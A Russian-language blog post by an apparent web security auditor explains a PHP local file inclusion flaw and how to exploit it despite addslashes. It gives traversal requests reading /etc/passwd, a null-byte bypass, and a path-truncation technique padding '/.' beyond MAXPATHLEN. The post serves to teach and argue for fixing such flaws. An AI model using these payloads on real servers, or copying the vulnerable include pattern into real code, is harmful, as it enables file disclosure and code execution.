Исследование уязвимости PHP include

2 комментария

Помимо программирования, я увлекаюсь исследованиями в области безопасности web приложений. Занимаюсь аудитом на заказ и так далее. И вот на днях мне попался вот такой вот код (я немного упростил его, чтобы было понятнее):

$module=addslashes($_REQUEST['module']);
include('modules/'.$module.'/module.class.php');

Налицо обычная уязвимость класса PHP-инклудинг. Но, человек, для которого я делал аудит, заявил мне, мол, эту уязвимость эксплуатировать невозможно, поэтому она не считается. Пришлось с ним поспорить

Что такое PHP-include

Проведем маленький ликбез по этой уязвимости. PHP-include — уязвимость которая позволяет «приинклудить» произвольный файл, например такой код:

$module=$_REQUEST['module'];
include('modules/'.$module);

Позволяет выполнить PHP код в любом файле на сервере, а все «не php» позволяет прочитать, например вот так:

script.php?module=../../../../../../../../../../../etc/pаsswd

В инклуд попадает

include('modules/../../../../../../../../../../../etc/pаsswd');

И так как в файле «/etc/pаsswd» обычно нет php тегов (<?php и ?>), то он выведется в браузер, как вывелся бы html код вынесенный за php теги в обычном php скрипте. Конечно чтение файлов всего лишь одна из возможных реализаций этой атаки. Основная же все таки это инклудинг нужных файлов с нужным php кодом.

Вернемся к примеру. Усложним его:

$module=$_REQUEST['module'];
include('modules/'.$module.'/module.class.php');

Как видите теперь в конце к нашей переменной добавляется строка, которая нам мешает приинклудить любой файл. Так вот, многие функции php не являются бинарно безопасными, т.е такие функции считают NULL-байт за конец строки. Обращаемся к скрипту так:

script.php?module=../../../../../../../../../../../etc/pаsswd%00

И если дирректива magic_quotes отключенна, то мы снова увидим содержимое /etc/pаsswd

Есть ли уязвимость?

Вернемся к нашему коду:

$module=addslashes($_REQUEST['module']);
include('modules/'.$module.'/module.class.php');

Как видно, наша переменная принудительно проходит через «addslashes» и если мы попытаемся использовать NULL-байт то он будет преобразован в «\0» и инклуда не выйдет.

Но прогресс не стоит на месте! Оказывается некие ребята из USH нашли в PHP интересную фичу PHP filesystem attack vectors (англ.). Если в кратце пересказать суть статьи, то php обрабатывает пути с использованием нескольких особенностей:

  • Усечение пути — php обрезает строку пути до заданной длины MAXPATHLEN (В Windows до 270 символов, в NIX — обычно 4096, в BSD — обычно 1024)
  • Нормализация пути — php обрабатывает путь специальным образом, удаляя лишние символы «/» и «/.» и их различные комбинации
  • Приведение к каноническому виду — убираются лишние переходы, например «dir1/dir2/../dir3» приводится к «dir1/dir3/» при этом существование дирректории «dir2» не проверяется, и прочие похожие преобразования (т.е продолжение нормализации)

Теперь по порядку что происходит с переданным путем:

  1. Если путь передан относительный, то к нему вначале подставляются значения из диррективы include_path
  2. Далее путь обрезается до определенной длины в зависимости от платформы
  3. Проводится нормализация пути
  4. Путь приводится к каноническому виду

Теперь попробуем воспользоваться этим. Попробуем приинклудить некий файл «test.php» который находится в дирректории «modules/». Для этого добавляем в конец симолы «/.» таким образом чтобы общая длина, вместе с именем файла, значением из include_path была заведомо больше 4096 символов.
script.php?module=test.php/././.[...]/././.

При этом необходимо подгадать так, чтобы вся строка пути (уже обрезанная) заканчивалась на точку (важно!), а не на слеш. Для этого можно добавить один слеш вот так:
script.php?module=test.php//././.[...]/././.

И один из этих вариантов сработает точно.

Анализируем

Смотрим по порядку какие преобразования произойдут с путем
modules/test.php//././.[...]/./././module.class.php
4200 символов

Первое что происходит со строкой, это к ней добавляется значение из include_path:
/home/site/public_html/modules/test.php//././.[...]/./././module.class.php
4223 символа

Затем строка ускается до MAXPATHLEN (допустим 4096):
/home/site/public_html/modules/test.php//././.[...]/./.
4096 символов

Здесь видно зачем нужно было добавлять еще один слеш (иначе бы строка обрезалась до слеша). Теперь производится нормализация этой строки, сначала убераются лишние слеши:
/home/site/public_html/modules/test.php/././.[...]/./.
4095 символов

Теперь самое интересное! Далее при нормализации убраются все повторяющиеся «/.»
/home/site/public_html/modules/test.php
39 символов

В итоге получаем правильный путь до нужного нам файла, и этот путь уже передастся в инклуд, и приинклудится нужный нам файл.

То есть вот так мы приинклудим наш файл «test.php» успешно.
script.php?module=test.php//././.[...]/././.

А значит уязвимость есть и не теоритическая. В итоге мой клиент проспорил, а я выйграл спор и 10 рублей на которые мы поспорили. Конечно, помимо 10 рублей я выйграл еще и доверие и уважение в глазах клиента, что тоже не мало важно.

Заметки

Здесь я рассмотрю пару интересных особенностей эксплуатации этой уязвимости.

Выход из дирректории

Рассмотрим такой код:

$module=addslashes($_REQUEST['module']);
include($module.'/module.class.php');

Опустим тот момент, что можно вопсользоваться RFI и приинклудить файл с удаленного сервера. Допустим на сервере «allow_url_include=OFF».

Рассмотрим ситуацию когда нам надо приинклудить файл из дирректории ниже:
script.php?module=../test.php/././.[...]/././.

Такое обращение выдаст ошибку, типа файл не найден. И для того чтобы это обойти нам надо обратится вот так:
script.php?module=blabla/../../test.php/././.[...]/././.

Я не зря описывал про канонизацию путей. Благодаря ей дирректория «blabla» не обязательно должна существовать.

Добавление просто слешей

Внимательный читатель наверное заметил что в описании нормализации я написал что мол убираются лишние слеши «/» и точки со слешами «/.», так почему бы не использовать просто слеши, дабы избежать лишнего гемора с попаданием точки в конец.

Все дело в алгоритмах, то есть, слеш с точкой «/.» убирается полностью. А вот с просто слешами дело обстоит немного сложнее, при нормализации каждые два слеша заменяются на один до тех пор пока не останется один(!) слеш, пример:

/home/site/public_html/modules/test.php//////////////////
57 символов

/home/site/public_html/modules/test.php/////////
48 символов

/home/site/public_html/modules/test.php/////
44 символов

/home/site/public_html/modules/test.php///
42 символов

/home/site/public_html/modules/test.php//
41 символов

/home/site/public_html/modules/test.php/
40 символов

Итого переданная строка будет считаться путем к папке а не к файлу, т.к. на конце останется слеш.

Небольшое отступление:

Причем если обратить внимание на многие, популярные хак ресурсы, то можно заметить эту ошибку. Я так понимаю эта ошибка началась со статьи некоего Raz0r где он предложил вектор:
index.php?act=../../../../../etc/pаsswd/////[…]/////

И обратите внимание даже журнал ][акер повторил эту ошибку в своей статье. При этом даже в оригинальной статье USH было четко написанно что использовать просто слеши не желательно, и необходимо чтобы в конце перед нормализацией остался символ точки. А просто слеши (даже без точки на конце) работают только в PHP c Suhosin.

То есть использовать слеш с точкой «/.» — более универсальный метод, так как, в отличие от слешей «/», он работает для всех версий php.

Заключение

Надеюсь эта статья поможет вам понять, что в своих скриптах нельзя оставлять даже малейшие уязвимости, так как рано или поздно под них можно разработать свой вектор атаки, что может привести к серьезным последствиям.

Добавить комментарий

Прочли запись? Понравилась? Не стесняйтесь, оставьте, пожалуйста, свой комментарий. Мне очень интересно, что вы думаете об этом. Кстати в комментарии вы можете задать мне любой вопрос. Я обязательно отвечу.

Вы можете оставить коментарий анонимно, для этого можно не указывать Имя и email. Все комментарии проходят модерацию, поэтому ваш комментарий появится не сразу.